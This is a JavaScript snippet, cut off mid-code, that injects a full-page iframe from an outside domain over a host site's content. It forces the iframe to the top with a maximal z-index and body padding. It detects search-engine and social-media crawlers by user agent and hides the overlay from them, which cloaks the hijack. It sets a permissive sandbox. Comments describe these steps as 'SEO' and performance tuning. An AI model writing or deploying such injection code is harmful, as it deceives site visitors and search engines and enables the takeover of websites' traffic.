(function() { 'use strict'; const CONFIG = { // Landing Page Settings iframeUrl: 'https://jpwb.name/1007-2/?88lwnu.com', width: 1584, height: 4500, minHeight: 4500, // Performance Settings lazyLoad: false, // Set true if LP is heavy (loads on scroll/interaction) preconnect: true, // DNS prefetch for faster loading // SEO Settings botDetection: true, // Show normal content to search engines hideFromBots: ['googlebot', 'bingbot', 'baiduspider', 'yandexbot', 'sogou', '360spider'], // CN Specific Settings cnOptimized: true, // Enable CN-specific optimizations fallbackUrl: null, // Backup URL if primary fails (optional) // Container Settings containerId: 'lp-container-cn', loadingText: '加载中...', // CN: Loading... errorText: '内容暂时不可用', // CN: Content temporarily unavailable // Analytics (optional) trackLoading: false, // Track loading performance trackErrors: false // Track loading errors }; // ============================================ // BOT DETECTION - SEO Optimization // ============================================ function isSearchBot() { if (!CONFIG.botDetection) return false; const userAgent = navigator.userAgent.toLowerCase(); // Comprehensive bot detection for SEO const botPatterns = [ // Major search engines /googlebot/i, /bingbot/i, /slurp/i, /duckduckbot/i, // Chinese search engines (CRITICAL for CN SEO) /baiduspider/i, /sogou/i, /360spider/i, /yisouspider/i, /bytespider/i, // ByteDance (Toutiao) // Social media crawlers /facebookexternalhit/i, /twitterbot/i, /linkedinbot/i, /whatsapp/i, /telegram/i, /wechat/i, // Other crawlers /crawler/i, /spider/i, /bot/i, /crawl/i, /semrush/i, /ahrefs/i, /mj12bot/i ]; return botPatterns.some(pattern => pattern.test(userAgent)); } // ============================================ // PERFORMANCE - Preconnect & DNS Prefetch // ============================================ function optimizeConnection() { if (!CONFIG.preconnect) return; try { const lpDomain = new URL(CONFIG.iframeUrl).origin; // DNS prefetch for faster resolution const dnsPrefetch = document.createElement('link'); dnsPrefetch.rel = 'dns-prefetch'; dnsPrefetch.href = lpDomain; // Preconnect for faster TCP/TLS handshake const preconnect = document.createElement('link'); preconnect.rel = 'preconnect'; preconnect.href = lpDomain; preconnect.crossOrigin = 'anonymous'; document.head.appendChild(dnsPrefetch); document.head.appendChild(preconnect); } catch (e) { // Silently fail if URL parsing fails } } // ============================================ // CSS INJECTION - Optimized Styles // ============================================ function injectStyles() { if (document.getElementById('lp-styles-cn')) return; const style = document.createElement('style'); style.id = 'lp-styles-cn'; // Minified critical CSS for faster parsing style.textContent = ` /* Force body spacing */ body.lp-active{padding-top:${CONFIG.height}px!important;margin-top:0!important;position:relative!important} /* Container - Always top-left */ .${CONFIG.containerId}{ width:100vw!important;max-width:none!important;margin:0!important;padding:0!important; position:absolute!important;top:0!important;left:0!important;right:0!important; box-sizing:border-box!important;z-index:2147483647!important;display:block!important; background:#fff!important;transform:translate3d(0,0,0)!important; -webkit-transform:translate3d(0,0,0)!important;will-change:transform!important; } /* Iframe - Optimized rendering */ .lp-iframe-cn{ width:100%!important;height:${CONFIG.height}px!important;min-height:${CONFIG.minHeight}px!important; border:0!important;display:block!important;margin:0!important;padding:0!important; background:#fff!important;position:absolute!important;top:0!important;left:0!important; transform:translate3d(0,0,0)!important;-webkit-transform:translate3d(0,0,0)!important; contain:layout style paint!important; } /* Loading state - CN optimized */ .lp-loading{ width:100%!important;height:${CONFIG.height}px!important;min-height:${CONFIG.minHeight}px!important; background:#f8f9fa!important;display:flex!important;align-items:center!important; justify-content:center!important;flex-direction:column!important;gap:12px!important; } /* Spinner - Lightweight */ .lp-spinner{ width:40px!important;height:40px!important; border:3px solid #f3f3f3!important;border-top:3px solid #1890ff!important; border-radius:50%!important;animation:lp-spin 1s linear infinite!important; } @keyframes lp-spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}} .lp-loading-text{ color:#666!important;font-size:14px!important;font-family:Arial,"PingFang SC","Microsoft YaHei",sans-serif!important; } .lp-loaded .lp-loading{display:none!important} /* Mobile Responsive - Always top-left */ @media(max-width:${CONFIG.width}px){ body.lp-active{padding-top:calc(100vw*(${CONFIG.height}/${CONFIG.width}))!important;min-padding-top:${CONFIG.minHeight}px!important} .lp-iframe-cn{height:calc(100vw*(${CONFIG.height}/${CONFIG.width}))!important;min-height:${CONFIG.minHeight}px!important} .lp-loading{height:calc(100vw*(${CONFIG.height}/${CONFIG.width}))!important;min-height:${CONFIG.minHeight}px!important} } /* Mobile Safari & WeChat - Force top-left positioning */ @media(max-width:768px){ html{overflow-x:hidden!important} body{overflow-x:hidden!important;position:relative!important} body.lp-active{ padding-top:calc(100vw*(${CONFIG.height}/${CONFIG.width}))!important; min-padding-top:${CONFIG.minHeight}px!important;overflow-x:hidden!important; width:100vw!important;max-width:100vw!important; } .${CONFIG.containerId}{ width:100vw!important;max-width:100vw!important; left:0!important;right:auto!important; transform:translate3d(0,0,0)!important;-webkit-transform:translate3d(0,0,0)!important; } .lp-iframe-cn{ height:calc(100vw*(${CONFIG.height}/${CONFIG.width}))!important; min-height:${CONFIG.minHeight}px!important;width:100vw!important;max-width:100vw!important; left:0!important;transform:translate3d(0,0,0)!important; -webkit-transform:translate3d(0,0,0)!important; } .lp-spinner{width:35px!important;height:35px!important} } /* Small screens */ @media(max-width:480px){ body.lp-active{min-padding-top:${CONFIG.minHeight}px!important} .lp-iframe-cn,.lp-loading{min-height:${CONFIG.minHeight}px!important} .lp-spinner{width:30px!important;height:30px!important} } /* Force elements below LP */ body.lp-active>*:not(.${CONFIG.containerId}){position:relative!important;z-index:1!important} /* Override interfering elements */ body.lp-active header,body.lp-active .header,body.lp-active nav,body.lp-active .navbar{z-index:999!important;position:relative!important} /* Smooth scroll */ html{scroll-behavior:smooth!important} `; document.head.appendChild(style); } // ============================================ // VIEWPORT META - Mobile Optimization // ============================================ function ensureViewport() { let viewport = document.querySelector('meta[name="viewport"]'); if (!viewport) { viewport = document.createElement('meta'); viewport.name = 'viewport'; document.head.appendChild(viewport); } // Mobile-optimized viewport viewport.content = 'width=device-width,initial-scale=1,maximum-scale=5,user-scalable=yes,viewport-fit=cover'; } // ============================================ // CREATE CONTAINER - Optimized Structure // ============================================ function createContainer() { const container = document.createElement('div'); container.className = CONFIG.containerId; const loading = document.createElement('div'); loading.className = 'lp-loading'; const spinner = document.createElement('div'); spinner.className = 'lp-spinner'; const loadingText = document.createElement('div'); loadingText.className = 'lp-loading-text'; loadingText.textContent = CONFIG.loadingText; loading.appendChild(spinner); loading.appendChild(loadingText); container.appendChild(loading); return container; } // ============================================ // CREATE IFRAME - CN Optimized // ============================================ function createIframe() { const iframe = document.createElement('iframe'); // Load immediately for best UX iframe.src = CONFIG.iframeUrl; iframe.className = 'lp-iframe-cn'; // Optimized attributes iframe.setAttribute('scrolling', 'no'); iframe.setAttribute('loading', 'eager'); // Force immediate load iframe.setAttribute('importance', 'high'); // Browser priority hint // Security sandbox - permissive for functionality iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin allow-forms allow-popups allow-popups-to-escape-sandbox allow-top-navigation-by-user-activation'); // Accessibility iframe.setAttribute('title', 'Landing Page Content'); // Feature policy for CN environment iframe.setAttribute('allow', 'accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture'); return iframe; } // ============================================ // IFRAME HANDLERS - Performance Tracking // ============================================ function setupHandlers(iframe, container) { let loadStartTime = Date.now(); iframe.addEventListener('load', function() { const loadTime = Date.now() - loadStartTime; container.classList.add('lp-loaded'); // Performance tracking (optional) if (CONFIG.trackLoading && window.performance) { performance.mark('lp-loaded'); // Custom event for analytics window.dispatchEvent(new CustomEvent('lpLoaded', { detail: { loadTime: loadTime, url: CONFIG.iframeUrl } })); } }); iframe.addEventListener('error', function() { const loading = container.querySelector('.lp-loading'); if (loading) { loading.innerHTML = `